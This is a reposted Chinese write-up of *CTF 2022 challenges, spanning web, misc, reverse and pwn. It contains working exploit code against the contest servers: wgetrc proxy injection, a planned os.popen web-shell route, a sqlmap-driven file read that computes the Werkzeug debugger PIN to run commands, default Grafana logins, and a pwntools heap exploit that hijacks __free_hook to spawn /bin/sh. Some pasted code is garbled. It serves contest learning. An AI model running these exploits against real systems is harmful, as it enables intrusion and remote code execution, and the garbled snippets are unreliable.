2022 startctf-wp
2022-4-20 09:0:0 Author: mp.weixin.qq.com(查看原文) 阅读量:58 收藏

文章来源 :EDI安全

01

Web

1

oh-my-lotto

下载wget源码查看所有可以利⽤的环境变量

可以用于加载代理 所以我们上传一个代理配置 让wget设置 然后拦截对lotto的请求 修改返回包 即可获取flag。

把本地的burp转发到服务器上

ssh -p 22 -f -g -C -N -R 8080:127.0.0.1:8080 [[email protected]](mailto:[email protected])7

host添加解析

启动一个web服务 返回代理配置

from flask import Flask, make_responseimport secrets
app = Flask(__name__)
@app.route("/")def index(): lotto = [] for i in range(1, 20): n = str(secrets.randbelow(40)) lotto.append(n) r = '\n'.join(lotto) r = "http_proxy=http://120.26.59.137:8080" response = make_response(r) response.headers['Content-Type'] = 'text/plain' response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt' return response
if __name__ == "__main__": app.run(debug=True, host='0.0.0.0', port=80)
本地启动以后 爆破一下md5

上传文件指定代理为我的服务器

POST /forecast HTTP/1.1Host: 121.36.217.177:53002User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------2363992665965896981350789360Content-Length: 249Origin: http://127.0.0.1:8880Connection: closeReferer: http://127.0.0.1:8880/forecastUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1X-Forwarded-For: 1.1.1.1X-Originating-IP: 1.1.1.1X-Remote-IP: 1.1.1.1X-Remote-Addr: 1.1.1.1-----------------------------2363992665965896981350789360Content-Disposition: form-data; name="file"; filename="2.jpg"Content-Type: image/jpeghttp_proxy=http://120.26.59.137:8080-----------------------------2363992665965896981350789360--

加载代理请求url 返回内容可控

POST /lotto HTTP/1.1Host: 121.36.217.177:53002 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------134338874213176516492993923776Content-Length: 324Origin: http://127.0.0.1:8880Connection: closeReferer: http://127.0.0.1:8880/lottoUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1X-Forwarded-For: 1.1.1.1X-Originating-IP: 1.1.1.1X-Remote-IP: 1.1.1.1X-Remote-Addr: 1.1.1.1-----------------------------134338874213176516492993923776Content-Disposition: form-data; name="lotto_key"WGETRC-----------------------------134338874213176516492993923776Content-Disposition: form-data; name="lotto_value"/app/guess/forecast.txt-----------------------------134338874213176516492993923776--

2

oh-my-lotto-revenge

出题人开启了debug [所以可以直接使用代理来替换app.py](http://所以可以直接使用代理来替换app.py)  

from flask import Flask, make_responseimport secretsapp = Flask(__name__)@app.route("/")def index():    lotto = []    for i in range(1, 20):        n = str(secrets.randbelow(40))        lotto.append(n)        r = '\n'.join(lotto)    # r = "http_proxy=http://120.26.59.137:8080"    r = open("exp1.py",'r').read()    response = make_response(r)    response.headers['Content-Type'] = 'text/plain'    response.headers['Content-Disposition'] = 'attachment; filename=app.py'    return responseif __name__ == "__main__":    app.run(debug=True, host='0.0.0.0', port=80)# 主要就是shell路由# @app.route("/edi", methods=['GET', 'POST'])# def index():#    return os.popen(request.query_string.get('edi')).read()

出题人用的是gunicorn来保持python运行 不会及时的重载(可能你以为这就结束了?)

完全可以使用bp拦截数据包 直到gunicorn重启worker。

你要做的就是不停的请求shell路由

3

oh-my-notepro

写个控制sqlmap的脚本

import osimport reimport sysimport hashlibfrom itertools import chain# Author: R1CH0ND from EDISEC# USAGE:# python3 readanything.py web1.txtdef load(dirname):    return Generic_Config + "--tech=S --sql-query='{}'".format("load data local infile \"{}\" into table shit".format(dirname))def read():    return Generic_Config + "--tech=E --sql-query=\"{}\"".format("select go from shit")def loadNread(filename):    os.system(Generic_Config +              "--tech=S --sql-query='CREATE TABLE shit (go TEXT)'")    os.system(load(filename))    r = os.popen(read())    ret = r.read()    r.close()    return retprint(rv)#dirs = {'wangka':"/sys/class/net/eth0/address",'mid1':"/proc/sys/kernel/random/boot_id",'mid2':"/proc/self/cgroup"}packfile = sys.argv[1]Generic_Config = "sqlmap -r {} --random-agent --fresh-queries --batch -p note_id --dbms=mysql ".format(    packfile)wangka = re.findall(r"(\w+:\w+:\w+:\w+:\w+:\w+)",                    loadNread("/sys/class/net/eth0/address"))[0]cg = re.findall(r"docker/(\w+)", loadNread("/proc/self/cgroup"))[0]mid = "1cc402dd0e11d5ae18db04a6de87223d"probably_public_bits = [    'ctf'  # /etc/passwd    'flask.app',  # 默认值    'Flask',  # 默认值    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # 报错得到]private_bits = [    str(int(wangka.replace(":",""),16)),  # /sys/class/net/eth0/address 16进制转10进制    # machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup    # /proc/self/cgroup    mid+cg,]h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):    if not bit:        continue    if isinstance(bit, str):        bit = bit.encode('utf-8')    h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None:    h.update(b'pinsalt')    num = ('%09d' % int(h.hexdigest(), 16))[:9]rv = Noneif rv is None:    for group_size in 5, 4, 3:        if len(num) % group_size == 0:            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')                          for x in range(0, len(num), group_size))            break    else:        rv = numprint(rv)
抓个包
GET /view?note_id=yvsn3yt4kdhtl2zfqsscl5i6l12mma0p HTTP/1.1Host: 124.70.185.87:5002User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: closeCookie: session=eyJjc3JmX3Rva2VuIjoiY2ViOWI0NWFkYjM2ZmQ3N2M1NTI0NDJmNjUwODJiZDI0YzcyOTgzNiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.Ylotsg.tKGQ3pgsO1RTw51C7lcCAgA0YfYUpgrade-Insecure-Requests: 1

然后执行python3 readanything.py web1.txt

把pin码搞出来

靶机挨个试,import os;os.system(”/readflag”)

4

oh-my-grafana

下载xxxx
admin 5f989714e132c9b04d4807dafeb10ade [http://124.70.163.46:3000](

蹭车 有配好的datasource

后来发现都是默认grafana grafana

sql查询

02

Misc

1

babyFL

train,多试几次

import tensorflowimport osimport tracebackimport numpy as npfrom tensorflow.keras import Sequentialfrom tensorflow.keras.layers import  Dense, Conv2D, Flatten, MaxPooling2Dfrom tensorflow import kerasfrom tensorflow.keras.models import load_modelfrom tensorflow.keras.datasets import mnistparticipant_number = 20def new_model():    model = Sequential()    model.add(Conv2D(10, (3, 3), input_shape=(28, 28, 1)))    model.add(MaxPooling2D(pool_size=(2, 2)))    model.add(Conv2D(20, (3, 3)))    model.add(Flatten())    model.add(Dense(units=100, activation='relu'))    model.add(Dense(units=10, activation='softmax'))    model.compile(loss=keras.losses.SparseCategoricalCrossentropy(), metrics=['accuracy'],                  optimizer=keras.optimizers.Adam(lr=0.001))    return modeldef load_test_data():    (_, _), (x, y) = mnist.load_data()    l = len(y)    for i in range(l):        y[i] = 9 - y[i]    x = x.reshape(-1, 28, 28, 1)    return x, y
def train_models(a='model'): (x, y), (_, _) = mnist.load_data() if a=='mymodel': l = len(y) for i in range(l):          y[i] = 9 - y[i] x = x.reshape(-1, 28, 28, 1) if a=='mymodel': model = new_model() model.fit(x, y, batch_size=64, epochs=6) for i in range(participant_number): model.save("./{}/".format(a)+str(i)) else: for i in range(4): model = new_model() model.fit(x, y, batch_size=64, epochs=5) model.save("./{}/".format(a)+str(5*i)) model.save("./{}/".format(a)+str(5*i+1)) model.save("./{}/".format(a)+str(5*i+2)) model.save("./{}/".format(a)+str(5*i+3))        model.save("./{}/".format(a)+str(5*i+4))def aggregation(parameters): print('aggregation') weights = [] for layer in parameters: sum = 0 l = len(layer) for temp in layer: sum = sum + temp weights.append(sum / l) # weights.append(layer[2]) model = new_model() l = len(model.get_weights()) model.set_weights(weights)    return modeldef test(model): print('test') my_x, my_y = load_test_data() loss, acc = model.evaluate(my_x, my_y, batch_size=64) print(acc) if acc > 0.95: print('great!') # f = open('./flag') # print(f.read()) else:        print("you fail", acc)def load_parameters(a='model'): print('load parameter') parameters = [] models = [] for i in range(participant_number): models.append(load_model("./{}/".format(a)+str(i))) for i in range(8): layer = [] for j in range(participant_number): temp = models[j].get_weights() layer.append(temp[i]) parameters.append(layer)    return parametersdef get_val(arr): if len(arr.shape) > 1: for temp in arr: get_val(temp) else: l = len(arr) for i in range(l):            arr[i] = float(input())def get_input_parameter(parameters): print('get input parameter') for layer in parameters: input_weight = np.zeros(layer[0].shape) print("next layer:") get_val(input_weight) layer.append(input_weight)    return parametersdef cal_input_para(raw_para,my_para): weights = [] for i in range(len(raw_para)): layer_raw=raw_para[i] layer_my=my_para[i] sum = 0 l = len(my_para) for temp in layer_my: sum = sum + temp my_weight=sum / l sum = 0 l = len(layer_raw)+1 for temp in layer_raw: sum = sum + temp weight=l*my_weight-sum weights.append(weight) # weights.append(layer[2])  return weightsdef get_input_parameter2(parameters,out): print('get input parameter') for i in range(len(parameters)): layer=parameters[i] # input_weight = np.zeros(layer[0].shape) input_weight = out[i] # print("next layer:") # get_val2(input_weight) layer.append(input_weight)    return parametersdef get_val2(arr): if len(arr.shape) > 1: for temp in arr: get_val2(temp) else: l = len(arr) for i in range(l):            arr[i] = float(1)train_models()train_models('mymodel')parameters1 = load_parameters()a=load_parameters()parameters2 = load_parameters('mymodel')parameters_out = cal_input_para(a,parameters2)get_input_parameter2(a,parameters_out)import picklepickle.dump(a,open('11.txt','wb'))model = aggregation(parameters1)test(model)model = aggregation(parameters2)test(model)model = aggregation(a)test(model)
提交参数
import picklea=pickle.load(open('11.txt','rb'))def foo2(arr,r):    if len(arr.shape) > 1:        for temp in arr:            # print('a')            foo2(temp,r)    else:        l = len(arr)        for i in range(l):            r.sendline(str(arr[i]))            # print(arr[i])            # arr[i] = float(input())def foo(parameters,r):    for i in range(8):        print('layer: {}'.format(i))        input_weight = a[i]        foo2(input_weight[20],r)from pwn import *r=remote("124.70.158.154",8081)r.recvuntil('next layer:\n')foo(a,r)r.interactive()

2

Alice's challenge

核心原理是深度学习模型+梯度数据⇒(还原)⇒训练样本
找到这里[https://dlg.mit.edu/](https://dlg.mit.edu/)
理解梯度泄露攻击基本原理,代码稍微改下就能跑出来。
解题关键点有下面2个:
(1)逆向的模型结构
class AliceNet2(nn.Module):    def __init__(self):        super(AliceNet2, self).__init__()        act = nn.Sigmoid        self.conv = nn.Sequential(            nn.Conv2d(3, 12, kernel_size=5, padding=2, stride=2),            act(),            nn.Conv2d(12, 12, kernel_size=5, padding=2, stride=2),            act(),            nn.Conv2d(12, 12, kernel_size=5, padding=2, stride=1),            act(),            nn.Conv2d(12, 12, kernel_size=5, padding=2, stride=1),            act(),        )        self.fc = nn.Sequential(            nn.Linear(768, 200)        )    def forward(self, x):        out = self.conv(x)        out = out.view(out.size(0), -1)        out = self.fc(out)        return out
(2)加载题目给出的梯度
#dy_dx = torch.autograd.grad(y, net.parameters())dy_dx=torch.load('0.tensor') #0-24# Exchange gradient with other training nodesoriginal_dy_dx = list((_.detach().clone() for _ in dy_dx))
结果如下:

03

Re

1

Naci

#include <stdio.h>#define ROL(x, y) ((x<<y)|(x>>(32-y)))unsigned int data[] = {0x040506070x000102030x0C0D0E0F0x08090A0B0xCD3FE81B0xD7C454770x9F3E92360x0107F1870xF993CB810xBF74166C0xDA1984270x1A05ABFF0x9307E5E40xCB8B0E450x306DF7F50xAD3001970xAA86B0560x449263BA0x3FA4401B0x1E41F9170xC6CB1E7D0x18EB0D7A0xD4EC48000xB486F92B0x8737F9F30x765E3D250xDB3D35370xEE44552B0x11D0C94C0x9B605BCB0x903B98B30x24C2EEA30x896E10A20x2247F0C00xB84E5CAA0x8D2C04F00x3BC7842C0x1A50D6060x49A1917C0x7E1CB50C0xFC27B8260x5FDDDFBC0xDE0FC4040xB2B30907};int main(void){  unsigned int x = , y = , p;    for(int i = 0; i < 44; i++)  {      p = (ROL(x, 1)&ROL(x, 8))^ROL(x, 2)^y^data[i];    y = x;    x = p;    }  printf("%#x, %#x", x, y);  }

#include <stdio.h>#include <math.h> #define ROL(x, y) ((x<<y)|(x>>(32-y)))unsigned int data[] = {0x04050607, 0x00010203, 0x0C0D0E0F, 0x08090A0B, 0xCD3FE81B, 0xD7C45477, 0x9F3E9236, 0x0107F187, 0xF993CB81, 0xBF74166C, 0xDA198427, 0x1A05ABFF, 0x9307E5E4, 0xCB8B0E45, 0x306DF7F5, 0xAD300197, 0xAA86B056, 0x449263BA, 0x3FA4401B, 0x1E41F917, 0xC6CB1E7D, 0x18EB0D7A, 0xD4EC4800, 0xB486F92B, 0x8737F9F3, 0x765E3D25, 0xDB3D3537, 0xEE44552B, 0x11D0C94C, 0x9B605BCB, 0x903B98B3, 0x24C2EEA3, 0x896E10A2, 0x2247F0C0, 0xB84E5CAA, 0x8D2C04F0, 0x3BC7842C, 0x1A50D606, 0x49A1917C, 0x7E1CB50C, 0xFC27B826, 0x5FDDDFBC, 0xDE0FC404, 0xB2B30907};unsigned int enc[] = {0xFDF5C266, 0x7A328286, 0xCE944004, 0x5DE08ADC, 0xA6E4BD0A, 0x16CAADDC, 0x13CD6F0C, 0x1A75D936, 0};unsigned int key[] = {0x030201000x070605040x0B0A09080x0F0E0D0C};void decipher(unsigned int num_rounds, unsigned int v[2], unsigned int const key[4]){      unsigned int i;      unsigned int v0=v[0], v1=v[1], delta=0x10325476, sum=delta*num_rounds;    unsigned int x, y, p;     for (i=0; i < num_rounds; i++)   {          v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);          sum -= delta;          v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);      }    x = v1, y = v0;  for(int i = 0; i < 44; i++)  {      p = (ROL(y, 1)&ROL(y, 8))^ROL(y, 2)^x^data[43-i];    x = y;    y = p;    }  v[0] = x, v[1] = y;  }  int main(void){  unsigned int x, y, p;    for(int i = 0; i < 4; i++)  {    unsigned int *tmp = enc+2*i;    decipher(pow(2, i+1), enc+2*i, key);    for(int i = 0; i < 2; i++)      for(int j = 0; j < 4; j++)        printf("%c", ((char *)&tmp[i])[3-j]);  }}

2

Simple File System

查看文件信息

elf文件

静态分析

查看字符串 查找到这个关键词

找到这个关键逻辑 经过分析可以知道 当sub_1E16函数第三个参数等于1时 才能真正打开flag文件。

经过 下图加密函数后 输出到image.flag文件当中。

动调得到值

v4 = 0xDEEDBEEF

a2 = 0x1000

不过 我们既然指导加密函数了 我们就可以输入*CTF去加密 然后找到flag文件里面得密文

找到密文为

0x00, 0xD2, 0xFC, 0xD8, 0xA2, 0xDA, 0xBA, 0x9E, 0x9C, 0x26, 0xF8, 0xF6, 0xB4, 0xCE, 0x3C, 0xCC, 0x96, 0x88, 0x98, 0x34, 0x82, 0xDE, 0x80, 0x36, 0x8A, 0xD8, 0xC0, 0xF0, 0x38, 0xAE, 0x40

exp

data = [0x00, 0xD2, 0xFC, 0xD8, 0xA2, 0xDA, 0xBA, 0x9E, 0x9C, 0x26, 0xF8, 0xF6, 0xB4, 0xCE, 0x3C, 0xCC, 0x96, 0x88, 0x98, 0x34, 0x82, 0xDE, 0x80, 0x36, 0x8A, 0xD8, 0xC0, 0xF0, 0x38, 0xAE, 0x40]v4 = [0xEF, 0xBE, 0xED, 0xDE]def dcry(data,v4):    for i in range(len(data)):     v5 = data[i]     v5 = (v5 >> 3) | (v5 << 5)&0xff     v5 ^= v4[3]     v5 = (v5 >> 4) | (v5 << 4)&0xff     v5 ^= v4[2]     v5 = (v5 >> 5) | (v5 << 3)&0xff     v5 ^= v4[1]     v5 = (v5 >> 6) | (v5 << 2)&0xff     v5 ^= v4[0]     v5 = (v5 >> 7) | (v5 << 1)&0xff     data[i] = v5    return dataflag = dcry(data,v4)print(flag)print(''.join(map(chr,flag)))

04

Pwn

1

examination

# -*- encoding: utf-8 -*-import sys import os import requestsfrom pwn import * binary = './examination'os.system('chmod +x %s'%binary)context.update( os = 'linux', arch = 'amd64',timeout = 1)context.binary = binarycontext.log_level = 'debug'elf = ELF(binary)libc = elf.libc# libc = ELF('')DEBUG = 0if DEBUG:    libc = elf.libc    p = process(binary)else:    host = '124.70.130.92'    port = '60001'    p = remote(host,port)l64 = lambda            : ras(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))l32 = lambda            : ras(u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')))uu64= lambda a          : ras(u64(p.recv(a).ljust(8,'\x00')))uu32= lambda a          : ras(u32(p.recv(a).ljust(4,'\x00')))rint= lambda x = 12     : ras(int( p.recv(x) , 16))sla = lambda a,b        : p.sendlineafter(str(a),str(b))sa  = lambda a,b        : p.sendafter(str(a),str(b))lg  = lambda name,data  : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)se  = lambda payload    : p.send(payload)rl  = lambda            : p.recv()sl  = lambda payload    : p.sendline(payload)ru  = lambda a          : p.recvuntil(str(a))def ras( data ):    lg('leak' , data)    return datadef dbg( b = null):    if (b == null):        gdb.attach(p)        pause()    else:        gdb.attach(p,'b %s'%b)def cmd(num):    sla('>>',num)def tch_to_std():    cmd(5)    sla('<0.teacher/1.student>:' , 1)def std_to_tch():    cmd(5)    sla('<0.teacher/1.student>:' , 0)def add_std(num):    cmd(1)    sla('questions' , num)def score():    cmd(2)def one_add(addr):    cmd(2)    sla('addr: ' , addr)def add_cmt(idx , size , text = 'a'):    cmd(3)    sla('>' , idx)    sla('size of comment:' , size)    sa('enter your comment:\n' , text)def edit_cmt(idx , text = 'a'):    cmd(3)    sla('>' , idx)    sa('enter your comment:\n' , text)def delete(idx ):    cmd(4)    sla('choose?' , idx)def chid(idx ):    cmd(6)    sla('id:' , idx)# one_gad = one_gadget(libc.path)def attack():    sla('<0.teacher/1.student>:' , 0)    add_std(1)    add_cmt(0, 0x18)    add_std(1)    add_cmt(1, 0x3f8)    add_std(1)    add_std(1)    tch_to_std()    cmd(3)    chid(1)    cmd(3)    std_to_tch()    score()    tch_to_std()    cmd(2)    ru('0x')    heap_base = rint() & 0xfffffffff000    lg('target' , heap_base)    sla('addr:' , str(heap_base +0x2e0) + '\x00')    chid(1)    one_add(str(heap_base +0x2e0) + '\x00')    std_to_tch()    edit_cmt(0 , 'a'*0x18 + p16(0x400 + 0x50 + 1))    delete(1)    add_std(1)    add_cmt(20x3f8)    edit_cmt(0 , 'a'*0x18 + p16(0x400 + 0x50 + 1))    delete(3)    add_std(1)    tch_to_std()    chid(2)    score()    __malloc_hook = l64() - 0x70    libc.address = __malloc_hook - libc.sym['__malloc_hook']    system_addr = libc.sym['system']    __free_hook = libc.sym['__free_hook']    binsh_addr = libc.search('/bin/sh').next()    lg('__free_hook',__free_hook)    std_to_tch()    add_std(1)
payload = flat( heap_base + 0x390 , 0, 0,0, 0,0x21, 1,__free_hook-0x8, 0x20 ) edit_cmt(2 , payload)    edit_cmt(4 , flat('/bin/sh\x00' , system_addr )) delete(4)    # dbg() # p.success(getShell())    p.interactive()attack()

侵权请私聊公众号删文



文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650536940&idx=2&sn=36c1743bccf4d0b5b88d4a4be6a96fcd&chksm=83ba9e08b4cd171e36e40d5f2fae6e1c1fc086887c78f8b7f63e6331a13e51208e97fb603eb3#rd
如有侵权请联系:admin#unsafe.sh